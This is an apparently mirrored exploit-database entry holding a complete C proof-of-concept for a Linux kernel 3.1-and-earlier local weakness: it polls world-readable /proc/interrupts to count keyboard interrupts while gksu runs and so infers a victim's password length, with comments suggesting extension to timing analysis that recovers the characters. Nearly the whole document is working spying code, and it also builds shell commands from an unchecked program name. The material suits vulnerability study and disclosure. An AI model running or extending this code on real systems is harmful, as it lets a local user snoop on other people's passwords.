Linux Kernel 3.0.4 – ‘/proc/interrupts’ Password Length Local Information Disclosure

  • 作者: Vasiliy Kulikov
    日期: 2011-11-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36294/
  • /*
    source: https://www.securityfocus.com/bid/50573/info
    
    The Linux kernel is prone to a local information-disclosure weakness.
    
    Successful exploits allow local attackers to obtain the password length of a victim's account; information harvested may aid in further attacks.
    
    Linux kernel 3.1 and prior are vulnerable. 
    */
    
    
    /*
     * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
     * 
     * The file /proc/interrupts is world readable.It contains information
     * about how many interrupts were emitted since the system boot.We may loop
     * on one CPU core while the victim is executed on another, and learn the length
     * of victim's passord via monitoring emitted interrupts' counters of the keyboard
     * interrupt.The PoC counts only keystrokes number, but it can be easily extended
     * to note the delays between the keystrokes and do the statistical analysis to
     * learn the precise input characters.
     * 
     * The limitations:
     * - it works on 2-core CPUs only.
     * - it works on 1-keyboard systems only.
     * - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
     * the password input).
     * - it doesn't carefully filter keystrokes after ENTER.
     * 
     * by segoon from Openwall
     *
     * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
     *
     * P.S.The harm of 0444 /proc/interrupts is known for a long time, but I
     * was told about this specific attack vector by Tavis Ormandy just after similar
     * PoC spy-sched was published.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <err.h>
    #include <errno.h>
    #include <string.h>
    
    
    int i8042_number;
    int ints[1024], ints_prev[1024], ints_delta[1024];
    
    char buffer[1024];
    
    int reread_ints(int *interrupts, int int_count, char **names)
    {
    int i;
    int n, c1, c2;
    char s1[1024], s2[1024];
    
    int interrupts_fd;
    FILE *interrupts_file;
    
    interrupts_fd = open("/proc/interrupts", O_RDONLY);
    if (interrupts_fd == -1)
    err(1, "open(\"/proc/interrupts\")");
    
    interrupts_file = fdopen(interrupts_fd, "r");
    if (interrupts_file == NULL)
    err(1, "fdopen");
    
    if (fseek(interrupts_file, 0, SEEK_SET) < 0)
    err(1, "lseek");
    
    fgets(buffer, sizeof(buffer), interrupts_file);
    
    for (i = 0; i < int_count; i++) {
    if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
    fclose(interrupts_file);
    return i;
    }
    
    if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
    fclose(interrupts_file);
    return i;
    }
    
    if (names != NULL && names[i] == NULL)
    names[i] = strdup(s2);
    
    interrupts[i] = c1 + c2;
    }
    
    fclose(interrupts_file);
    return int_count;
    }
    
    void init_i8042_number(void)
    {
    int i;
    int can_be_keyboard[1024];
    char *names[1024];
    int number_of_interrups, can_be_keyboard_numbers;
    
    number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
    
    /*
     * Identify the i8042 interrupt associated with the keyboard by:
     * 1) name should be i8042
     * 2) interrupts count emitted in one second shouldn't be more than 100
     */
    for (i = 0; i < number_of_interrups; i++)
    can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
    
    while (1) {
    sleep(1);
    reread_ints(ints, sizeof(ints), NULL);
    
    can_be_keyboard_numbers = 0;
    for (i = 0; i < number_of_interrups; i++) {
    can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
    if (can_be_keyboard[i])
    can_be_keyboard_numbers++;
    
    ints_prev[i] = ints[i];
    }
    
    if (can_be_keyboard_numbers == 1) {
    for (i = 0; i < number_of_interrups; i++)
    if (can_be_keyboard[i]) {
    i8042_number = i;
    printf("i8042 keyboard is #%d\n", i);
    return;
    }
    }
    }
    }
    
    int i8042_read(void)
    {
    reread_ints(ints, sizeof(ints), NULL);
    ints_prev[i8042_number] = ints[i8042_number];
    
    return ints[i8042_number];
    }
    
    int wait_for_program(char *pname)
    {
    FILE *f;
    int pid;
    char s[1024];
    
    snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
     " sleep 0.1; done", pname);
    system(s);
    snprintf(s, sizeof(s), "pgrep %s", pname);
    f = popen(s, "r");
    if (f == NULL)
    err(1, "popen");
    
    if (fgets(buffer, sizeof(buffer), f) == NULL)
    err(1, "fgets");
    
    if (sscanf(buffer, "%d", &pid) < 1)
    err(1, "sscanf");
    
    pclose(f);
    
    return pid;
    }
    
    int main(int argc, char *argv[])
    {
    int n, old, sum, i;
    int pid;
    char *pname = argv[1];
    
    if (argc < 2)
    errx(1, "usage: spy-interrupts gksu");
    
    puts("Waiting for mouse activity...");
    init_i8042_number();
    
    pid = wait_for_program(pname);
    printf("%s is %d\n", pname, pid);
    
    old = i8042_read();
    
    sum = 0;
    
    while (1) {
    n = i8042_read();
    if (old == n)
    usleep(10000);
    else {
    for (i = 0; i < n-old; i++)
    putchar('.');
    fflush(stdout);
    }
    
    sum += n - old;
    old = n;
    
    if (kill(pid, 0) < 0 && errno == ESRCH)
    break;
    }
    
    /*
     * #interrupts == 2 * #keystrokes.
     * #keystrokes = len(password) - 1because of ENTER after the password.
     */
    printf("\n%d keystrokes\n", (sum-2)/2);
    
    return 0;
    }